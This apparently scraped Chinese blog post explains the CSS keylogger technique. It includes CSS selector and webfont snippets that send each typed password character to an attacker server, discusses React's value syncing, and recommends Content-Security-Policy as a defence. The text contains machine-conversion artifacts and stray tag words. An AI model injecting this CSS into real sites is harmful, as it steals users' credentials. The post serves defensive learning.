前陣子在 Hacker News 上面看到這篇:Show HN: A CSS Keylogger,大開眼界,決定要找個時間好好來研究一下,而且寫一篇文章分享給你們。css
這篇會講到如下東西:html
好,那就讓咱們開始吧!前端
Keylogger 就是鍵盤側錄,是惡意程式的一種,拿來記錄你電腦上面全部按過的按鍵。還記得我小時候曾經用 VB6 寫了一個超簡單的 keylogger,只要呼叫系統提供的 API 而且記錄相對應的按鍵就好。react
在電腦上面被裝這個的話,就等於你輸入的任何東西都被記錄起來。固然,也包含了賬號跟密碼。不過若是我沒記錯,防毒軟體的行爲偵測應該能夠把這些都擋掉,因此也不用太過擔憂。git
剛剛講的是在電腦上面,如今咱們把範圍縮小,侷限在網頁。github
若是你要在頁面上加一個 keylogger,一般會利用 JavaScript 來達成,並且程式碼超級簡單:web
document.addEventListener('keydown', e => {
console.log(e.key)
})
複製代碼
只要偵測keydown
事件而且抓出按下的 key 就好了。後端
不過假如你有能力在你想入侵的網頁上面加入 JavaScript 的話,一般也不須要這麼麻煩去記錄每一個按鍵,你直接把 Cookie 偷走、竄改頁面、導到釣魚頁面,或者是在 submit 的時候把賬號密碼回傳給本身的 Server 就好,因此 keylogger 顯得不是那麼有用。瀏覽器
好,那假設咱們如今沒辦法插入惡意的 JavaScript,只能改 CSS,有辦法用純 CSS 作出一個 keylogger 嗎?安全
有,畢竟 CSS 能作的事情可多了。
直接看程式碼你就懂了(取自:maxchehab/CSS-Keylogging):
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
複製代碼
神奇吧!
若是你不熟悉 CSS selector,這邊幫你複習一下。上面那段意思就是說若是 type 是 password 的 input,value 以 a 結尾的話,背景圖就載入http://localhost:3000/a
。
如今咱們能夠把這串 CSS 改一下,新增大小寫英文字母、數字甚至是特殊符號,接着會發生什麼事呢?
若是我輸入 abc123,瀏覽器就會發送 Request 到:
就這樣,你的密碼就徹底被攻擊者給掌握了。
這就是 CSS keylogger 的原理,利用 CSS Selector 搭配載入不一樣的網址,就可以把密碼的每個字元發送到 Server 去。
看起來很可怕對吧,別怕,其實沒那麼容易。
雖然你輸入的時候是按照順序輸入的,但 Request 抵達後端的時候並不能保證順序,因此有時候順序會亂掉。例如說 abc123 變成 bca213 之類的。
但若是咱們把 CSS Selector 改一下的話,其實就能解決這個問題:
input[value^="a"] {
background-image: url("http://localhost:3000/a_");
}
input[value*="aa"] {
background-image: url("http://localhost:3000/aa");
}
input[value*="ab"] {
background-image: url("http://localhost:3000/ab");
}
複製代碼
若是開頭是 a,咱們就送出a_
,接着針對 26 個字母跟數字的排列組合每兩個字元送出一個 request,例如說:abc123,就會是:
就算順序亂掉,透過這種關係你把字母從新組合起來,仍是能夠獲得正確的密碼順序。
由於載入的網址同樣,因此重複的字元就不會再載入圖片,不會發送新的 Request。這個問題目前據我所知應該是解不掉。
這個實際上是 CSS Keylogger 最大的問題。
當你在 input 輸入資訊的時候,其實 input 的 value 是不會變的,因此上面講的那些徹底無論用。你能夠本身試試看就知道了,input 的內容會變,可是你用 dev tool 看的話,會發現 value 徹底不會變。
針對這個問題,有兩個解決方案,第一個是利用 Webfont:
<!doctype html>
<title>css keylogger</title>
<style> @font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; } @font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; } @font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; } @font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; } input { font-family: x, 'Comic sans ms'; } </style>
<input value="a">type `bcd` and watch network log
複製代碼
(程式碼取自:Keylogger using webfont with single character unicode-range)
value 不會跟着變又怎樣,字體總會用到了吧!只要每打一個字,就會送出相對應的 Request。
但這個方法的侷限有兩個:
<input type='password' />
,就沒有用(在研究第二個侷限的時候發現一件有趣的事,因爲 Chrome 跟 Firefox 會把「頁面上有 type 是 password 的 input,可是又沒用 HTTPS」的網站標示爲不安全,因此有人研究出用普通 input 搭配特殊字體來躲過這個偵測,而且讓輸入框看起來像是 password(但其實 type 不是 password),在這種情形下就能夠用 Webfont 來攻擊了)
再來咱們看第二種解決方案,剛剛有說到這個問題的癥結點在於 value 不會變,換句話說,若是你 input 輸入值的時候,value 會跟着變的話,這個攻擊手法就很用了。
嗯...有沒有一種很熟悉的感受。
class NameForm extends React.Component {
constructor(props) {
super(props);
this.state = {value: ''};
this.handleChange = this.handleChange.bind(this);
}
handleChange(event) {
this.setState({value: event.target.value});
}
render() {
return (
<form> <label> Name: <input type="text" value={this.state.value} onChange={this.handleChange} /> </label> </form> ); } } 複製代碼
(以上程式碼改寫自React 官網)
若是你用過 React 的話,應該會很熟悉這個模式。你在輸入任何東西的時候,會先改變 state,再把 state 的值對應到 input 的 value 去。所以你輸入什麼,value 就會是什麼。
React 是超夯的前端 Library,能夠想像有一大堆網頁都是用 React 作的,並且只要是 React,幾乎就能保證 input 的 value 必定會同步更新(幾乎啦,但應該仍是有少數沒有遵循這個規則)。
在這邊先作個總結,只要你 input 的 value 會對應到裡面的值(假如你用 React,幾乎必定會這樣寫),而且有地方可讓別人塞入自訂的 CSS 的話,就能成功實做出 CSS Keylogger。雖然有些缺陷(沒辦法偵測重複字元),但概念上是可行的,只是精準度沒那麼高。
React 的社羣也有針對這一個問題進行討論,都在 Stop syncing value attribute for controlled inputs #11896 這個 Issue 裡。
事實上,讓 input 的 value 跟輸入的值同步這件事情一直都會有一些 bug,之前甚至發生了知名流量分析網站 Mixpanel 不當心記錄敏感資訊的事件,而最根本的緣由就是由於 React 會一直同步更新 value。
Issue 的討論滿值得一看的,裡面有提到你們常搞溷的一件事情:Input 的 attributes 跟 properties。我找到 Stackover flow 上面一篇不錯的解釋:What is the difference between properties and attributes in HTML?
attributes 基本上就是你 HTML 上面的那個東西,而 properties 表明的是實際的 value,兩個不必定會相等,舉例來講:
<input id="the-input" type="text" value="Name:">
複製代碼
假如你今天抓這個 input 的 attribute,你會獲得Name:
,但若是你今天抓 input 的 value,你會獲得目前在輸入框裡面的值。因此其實這個 attribute 就跟咱們經常使用的 defaultValue
是同樣的意思,就是預設值。
不過在 React 裡面,他會把 attribute 跟 value 同步,因此你 value 是什麼,attribute 就會是什麼。
從討論看起來,在 React 17 滿有機會把這個機制拿掉,讓這二者再也不同步。
上面講了這麼多,由於現今 React 還沒把這個改掉,因此問題仍是存在着。並且其實除了 React,也可能有別的 Library 作了差很少的事情。
Client 端的防護方法我就不提了,基本就是裝一些別人寫好的 Chrome Extension,能夠幫你偵測符合模式的 CSS 之類的,這邊比較值得提的是 Server 端的防護。
目前看起來最一勞永逸的解決方案就是 Content-Security-Policy,簡而言之它是一個 HTTP Response 的 header,用來決定瀏覽器能夠載入哪些資源,例如說禁止 inline 程式碼、只能載入同個 domain 下的資源之類的。
這個 Header 的初衷就是爲了防止 XSS 以及攻擊者載入外部的惡意程式碼(例如說咱們這個 CSS keylogger)。想知道更詳細的用法能夠參考這篇:Content-Security-Policy - HTTP Headers 的資安議題 (2)
不得不說,這個手法真的頗有趣!以前第一次看到的時候也驚歎了好一陣子,竟然能發現這樣子的純 CSS Keylogger。雖然技術上是可行的,但在實做上仍是會碰到許多困難之處,並且要符合滿多前提才能作這樣子的攻擊,不過仍是很值得關注後續的發展。
總之呢,這篇文就是想介紹這個東西給讀者們,但願你們有所收穫。